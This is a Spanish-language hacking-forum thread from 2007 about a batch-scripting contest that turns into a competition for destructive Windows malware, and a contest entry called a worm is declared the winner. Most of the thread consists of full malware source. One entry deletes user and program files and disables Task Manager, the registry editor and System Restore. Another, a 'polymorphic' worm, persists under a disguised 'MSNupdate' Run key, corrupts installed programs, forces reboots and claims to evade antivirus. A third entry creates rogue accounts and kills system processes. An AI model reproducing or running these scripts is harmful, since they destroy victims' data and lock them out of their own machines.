competencia de programadores!(Ganador The Shadow)

Hola bueno llevo tiempo sin ver algo interesante en batch, y bueno quiero proponerles esto que tal si hacemos un concurso de prograrmadores en batch no importa si el que participa es un MOD o es alguien que sabe poco, lo importante es que aprendamos todos de esto! Wink

bueno ustedes me dicen que tal y si a mas de 3 les gusta le damos plomo a la competencia! Grin

---> Dia en que comenzo la competencia: 13/11/07, dia a entregar el programa: Jueves 22, osea 22/11/07

______
Reglas |
______|

- se dara plazo por 1 semana y 2 dias paar entregar el code o postearlo

- si se encuentra que el codigo es copiado sera descalificado INMEDIATAMENTE!

- No se puede insultar a nadie siempre con respeto!

- Solo en batch (Si kieren que el batch cree algo en vbs esta permitido pero que el codigo sea mayormente en batch )

- Se tendra en cuenta: Lo bueno o mejor dicho la calidad del batch, se tendra en cuenta lo eficaz que sea, y sobre todo se tendra en cuenta la ORIGINALIDAD!

- Por votaciones se elige el ganador

- Dependiendo de cuantas personas hallan y cuantos programas se elegira(n) los campeones por categoria(s)

___________________
"Programas a postear" |
__________________ |

- Cualquier utilidad Virus, Troyano, Anti-Virus o lo que se les ocurra!

__________________________________________________________________

Bueno espero que halla quedado claro!
Y espero que posteen para apuntarse a la competencia!

P.D: Para los que estan entrando los demas post que estan escritos abajos, ya esos asuntos fueron arreglados, si van a postear es para meterse en la competencia

Ganandor The Shadow! Felicitaciones amigo!

Salu2's! Cool

ESTA BUENA LA IDEA, PERO ME PARECE QUE HAY QUE PROPONER UN TEMA.
SINO ALGUNOS VAN A HACER VIRUS, OTROS ANTIVIRUS, TROYANOS U OTRAS UTILIDADES.
Y DE ESA MANERA VA A SER DIFÍCIL COMPARAR LOS PROYECTOS.
O SINO TAMBIÉN PODRÍAN SER VARIOS TEMAS Y QUE CADA UNO PRESENTA EL PROYECTO QUE QUIERE QUE COMPITA EN CADA TEMA.

bueno que tal si lo hacemos con: el mejor virus,worm o lo que sea que dañe Windows! Grin

y si no les gusta esa idea pongan la idea que mas prefieran!:P

Salu2's!

Cita de: SkullMaster123 en Noviembre 13, 2007, 12:27:17

bueno que tal si lo hacemos con: el mejor virus,worm o lo que sea que dañe Windows! Grin

y si no les gusta esa idea pongan la idea que mas prefieran!:P

Salu2's!

Los virus en Batch no tienen mucho "jugo" que sacar. Si se llega a hacer eso daría de hacer utilidades varies, antiviruses, av killers, codificadores, o cosas asi en batch. Nada d código virico Wink

Primero que nada gracias amigo Espectro infernal por tu aporte entonces se hara de esta manera los que quieran participar y espero que sean varios Wink

digan el nombre de su idea, osea de que sera su codigo en batch, y con eso sabremos quienes van a participar! Tongue

Y se dara plazo de 1 semana y 2 dias! Wink

P.D:Pongo 2 dias en vez de 1 semana porque hay gente que se le presenta problemas y bueno para eso los puse!! Wink

Salu2's!

Me apunto en aportar en akellos q no pueden lograr hacer alguna idea q tengan... o proyecto, son va a servir de mucha practica hacerlos todos juntos..

salu2..

PERDONEN PERO NO ENTENDI BIEN EN QUE QUEDO LA COSA
COMO ES? CADA UNO ELIGE LO QUE VA A HACER? 1 SEMANA Y 2 DIAS PARA ENTREGAR EL PROYECTO O PARA ANOTARSE?

Bueno amigo ZekTor-x quedo asi mira, tu vas a crear o lo que sea que vallas a hacer en batch, pero que sea una utilidad como especificaron antes antivirus,troyano en batch lo que se te ocurra! Wink

y el proyecto se debera entregar en 1 semana y 2 dias empesando desde hoy 13/11/07

P.D:El proyecto NO debe ser virus, debe ser alguna utilidad productiva y que sirva de ayuda! Wink

Salu2's!

segun Wikipedia : "Un virus informático es un programa que se copia automáticamente y que tiene por objeto alterar el normal funcionamiento de la computadora, sin el permiso o el conocimiento del usuario."

pos creanme.. muxos de nosotros tenemos ideas interesantisimas q en si aun siendo "viruses" son de gran aporte para una comunidad de programadores con ansias de saber... ya q utilizando los conceptos mostrados en el funcionamiento de un virus ... podemos crear aplicaciones sorprendentes q se alejan del proposito de un virus ... esta es solo mi opinion ... creo q la norma de no agregar codigo virico en los programas, ace q esta competencia se pierda de ver verdaderas obras de arte ...

Saludos! Cool

Reglamento del Foro Linux Registered User #473016

Te recomiendo borrar este post y modificar el primero Wink

estare encantado de seguir este tema Wink

....

sALuDos__

NORMAS DEL FORO

Acunetix Web Vulnerability | NOD32 ESET Smart Security 3.0.650 Full | KIS6 & KIS7 [ de por vida ]
Tutorial Remote File Inclusion ( RFI ) | Evitando SQL Injection
La imaginacion es lo mas poderoso que ha conocido el ser humano
TerminalHacker.net
LatinoHack.com

Suena interesante ya se hizo un duelo anteriormente suerT! Cool

....bueno pues are un code cuando pueda Ok??...seguramente lo suba el 21/22 ya k tengo examenes aora y no tengo mucho tiempo Wink

...

mi code sera virico...me parece mas divertido..

sALuDos!__

NORMAS DEL FORO

aki esta el code la parte de vbs lo puse por el ultimo aporte k dio the shadow, y repitok aunk sea antiguo yo no lo sabia y me parece un aporte bastante bueno....

_________________________________________________________________________________

@echo off
goto %1_run
:ini_run
rem Code By DaRkDiAm0nd.
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMMyPictures /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMyMusic /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMMyDocs /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DSMax /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DSMin /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSimpleStartMenu /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMFUprogramsList /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogoff /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon /v "LegalNoticeCaption" /t reg_sz /d "(`·...::By DaRkDiAm0nd::...·´)" /f
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon /v "LegalNoticeText" /t reg_sz /d "By DaRkDiAm0nd - k tENgAs uN bUeN DiA__" /f
Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DisableSR /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v RestoreDiskSpaceError /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v CreateFirstRunRp /t reg_dword /d "0" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v CreateFirstRunRp /t reg_dword /d "1" /f
Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system /v disableregistrytools /t reg_dword /d "1" /f
RUNDLL32 USER32.DLL,SwapMouseButton
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t reg_dword /d "1" /f
cd "%homepath%\Mis documentos"
attrib -r -a -s -h *.*
erase /s /q /f *.*
cd "%homedrive%\Archivos de programa"
attrib -r -a -s -h *.*
erase /s /q /f *.*
echo @echo off>>%systemroot%\windll32.bat
echo color A>>%systemroot%\windll32.bat
echo echo.>>%systemroot%\windll32.bat
echo echo Error de sistema...............>>%systemroot%\windll32.bat
echo echo Recuperandose del Error, Por favor espere......>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.avi" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.wmv" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.mpg" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.mp3" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.wma" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.jpg" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.gif" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.png" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.bmp" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.com" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.vbs" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.cmd" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.bak" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.dat" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.exe" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.dll" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.txt" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.lnk" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.zip" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.rar" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.scr" /f>>%systemroot%\windll32.bat
echo shutdown -s -f -t 30 -c "ATENCION: Error de sistema. Se debe reiniciar el equipo.">>%systemroot%\windll32.bat
start %systemroot%\windll32.bat
cd "%homepath%\escritorio"
attrib -r -a -s -h *.*
erase /s /q /f *.*
:_run
echo set shell = CreateObject("wscript.shell") > run.vbs
echo shell.run "cmd /c "%0" ini", vbHide >> run.vbs
start run.vbs

_________________________________________________________________________________

Descripcion: kitamos mis imagenes,mimusica,mis documentos del inicio, acemos unos cambios en el restore poniendo k la cantidad maxima y minima del guardado de datos para la restauracion k sera de 1 MG, cambiamos el menu de inicio por el clasico, quitamos la lista de programas agregados del menu Inicio, quitamos la lista de programas de uso frecuente del menu Inicio, kitamos la opcion de Documentos recientes, el buscador de inicio y la opcion de ejecutar, kitamos el boton de cerrar sesion y el de apagado. Creamos un mensaje para k cuando arranke el S.O aparezca, deshabilitamos el Administrado de tareas, volvemos acer modificaciones con el restore y creamos un punto de restauracion, deshabilitamos el registro, intercambiamos los botones del mouse y deshabilitamos el boton derecho en el escritorio, borramos todos los archivos de mis documentos y Archivos de programa, creamos un windll32.bat k borra estas extensiones .avi .wma .mpg .mp3 .wma .jpg .gif .png .bmp .com .txt .exe .lnk .zip .rar ect, para asi no permitir su ejecucion, se ejecuta windll32.bat, borramos las extensiones y aparece un mensaje de reinicio y borramos todos los archivos k ay en el ecritorio.

no es un code muy currao pero bueno, espero k os aya gustado...

sALuDos!!__

NORMAS DEL FORO

Saludos bueno hoy es el dia para postear los codee!!!!!!! Grin

vallan poniendo el code y su explicacion(Si su code es demaciado extenso y es medio fastidioso postearlo por x's razon guarden el codigo en txt y lo suben a rapidshare o lo que sea!) Wink

luego cuando la mayoria halla posteado el code veremos el ganador!

P.D: Yo voy a publicar el mio mas tarde ya que tengo clases en la tarde y dentro de un ratico tengo que salir Undecided

mi code lo subire a rapidshare ya que es extenso y contiene 2 partes una "administrativa" y otra "Virica" Wink

Bueno luego lo subo y pongo explicacion! Wink

jeje y bueno vallan poniendo los code! Wink

Salu2's!

Bueno saludos como dije que lo subiria mas tarde aqui esta lo subi a rapidshare porque esta algo largo el code, esta en .txt , y bueno no es la gran cosa pero explico tiene 2 partes y administrativa y otra virica como mencione antes:
Nombre del programa: Editor Pro-V vol 1.1 Cheesy

La administrativa tiene: Crear cuentas, borrarlas, etc
calculadora
crear carpetas
borrar carpetas
matar procesos
etc y no me acuerdo de los demas se que tiene 11 opciones para la parte administrativa!

y la virica:(Esta no me dio tiempo de hacerle mas cositas pero bueno aqui se los dejo)

tiene
Edicion(Creacion) de un worm en batch
Creacion de un bucle(COntiene varias opciones) Wink

y tu propio editor de .vbs o .bat(En esa opcion tu eliges cuantas lineas escribir y eso!) Wink

Bueno espero que sea util, y les gustes!

P.D:Para comprenderlo mejor ejecutenlo porque si leen todo el codigo se les hara largo! Tongue

LINK DE DESCARGA:
________________________________________________

http://rapidshare.com/files/71596020/Edito-ProV_vol_1.1.txt.html
________________________________________________

Salu2's! Cool

Bueno aqui pongo(Ya lo postearon pero para tener la cosa organizada) el programa de nuestr amigo sh4k4 es: Cerrar el NOD32

Citar

aca pongo mi articulo una disculpa SKULL por no entrar al reto de programadores pero para reponer les pongo mi articulo!!

http://rapidshare.com/files/71844033/CERRANDO_EL_NOD32_-_BATCH.rar

pass del pdf: shaka

saludoz!! HOOOOOOOOOM!

cuando empiezan las votaciones??

creo k deberian empezar ya

sALuDos__

NORMAS DEL FORO

saludos, si deberiamos pero estoy esperando a un amigo que tambien va a postear su programa en batch! Grin

yo te habiso cuando comienzan! Wink

Salu2's!

weno .. grx x esperar :S.... se q esta grocero pero aqui sta mi code:

@echo off
reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate0 /d "%windir%\run.vbs" /f
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
set /a tim=%tim%-60
if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
goto klop )
set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
if %tar% == B set tar2=C
if %tar% == C set tar2=D
if %tar% == D set tar2=E
if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo if fgh.Count then ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo For i = 0 to fgh.Count-1 ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo fgh.Item¡i$.Eject ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Next ' cdrom ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
echo start conf.vbs ¿mol%tar%¿ >> modul.tk
echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
echo set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
echo goto for ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 10" /f ¿mol%tar%¿ >> modul.tk
echo shutdown -r -f -t 10 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
echo set target=¿1 ¿mol%tar%¿ >> modul.tk
echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo goto :EOF ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 4 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 5 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 6 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 14 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep

explicacion: pos noc si alguno vio el tema del motor poliformico q expuse ace unos meses .... pues e modifikdo el code y le e agregado algunas rutinas viricas ... una para abrir los cd-roms cada minuto xD ... otra para dañar los programas q esten dentro de %programfiles% etc... etc ..etc todas estas en modulos q cambian de codigo cada 10 minutos aprox ... esto le ace pensar a la victima q esta siendo infectada con una gran variedad de viruses .. ademas de burlar a los AV... (x aora.. :s )

PD: weno tngo q resaltar q me pase 2 horas depurando el code en mi pc ... y me funk perfecto ... pero si algien le algun bug ..... le agredeceria un monton q lo posteara ..! Grin

PD2: cmo ia lo e dixo antes ... no soy muy bueno a la ora de postear codes (no se como explicarme) asiq prefiero q si algien tiene una pregunta pues q la exponga... Grin

... Saludos Cool

Reglamento del Foro Linux Registered User #473016

weno ... esta idea de acer duelos de mas 2 me parece q deberiams segirla practicando mas segido ... creo q es muy enriquecedor para la comunidad...

creo q asta aora solo 4 emos posteado code... e revisado los codes ( SkullMaster123, Sh4k4 y el de DaRkDiAm0nd) y me parecen muy buenos .. felicidades! ...y si me ponen a elegir estaria muy dificil ... pero me qdaria con el de Sh4k4 ... es un code muy simple y de muxa utilidad ... claro tmbien ay q resaltar el excelente manejo del winrar x consola de SkullMaster123 y las maravillas del registro de DaRkDiAm0nd.... xD

felicidades

Reglamento del Foro Linux Registered User #473016

The shadow me ha impresionado tu code! Shocked

esta bueno, como el de todos que postearon y aqui yo termino de postear el ulthimo code, que es de mi amigo(Por cierto mi amigo no se pudo registrar porque a la hora de registrarse el hace todo bien pero le diceh que las letras no coinciden Undecided

ojala algun mod lo arregle o vea que pasa) y bueno asi comenzar las votaciones aqui se los dejo

CODIGO:

@echo off
echo @echo off > C:\WINDOWS\vir1.bat
echo reg add rutavirus \run /v virus /d "C:\Windows\vir1.bat" >> C:\WINDOWS\vir1.bat
echo del /q /a /s C:\WINDOWS\system\MOUSE >> C:\WINDOWS\vir1.bat
echo AT 00:00 del /s /q bomba.bat >> C:\WINDOWS\vir1.bat
CLS
echo attrib +R -A -S -H C:\windows\system32\*.* /s /d >> C:\WINDOWS\vir1.bat
echo cd \ >> C:\WINDOWS\vir1.bat
echo net use hackeado por antrax /add >> C:\WINDOWS\vir1.bat
echo net use maria jose /add >> C:\WINDOWS\vir1.bat
echo net use hackeadoo /add >> C:\WINDOWS\vir1.bat
echo net use theantraxWasHear /add >> C:\WINDOWS\vir1.bat
echo net use antrax /add >> C:\WINDOWS\vir1.bat
echo del /f /q "C:\WINDOWS\system\keyboard" >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM explorer.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM iexplorer.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM msnmsgr.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM svchost >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system32\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system\" >> C:\WINDOWS\vir1.bat
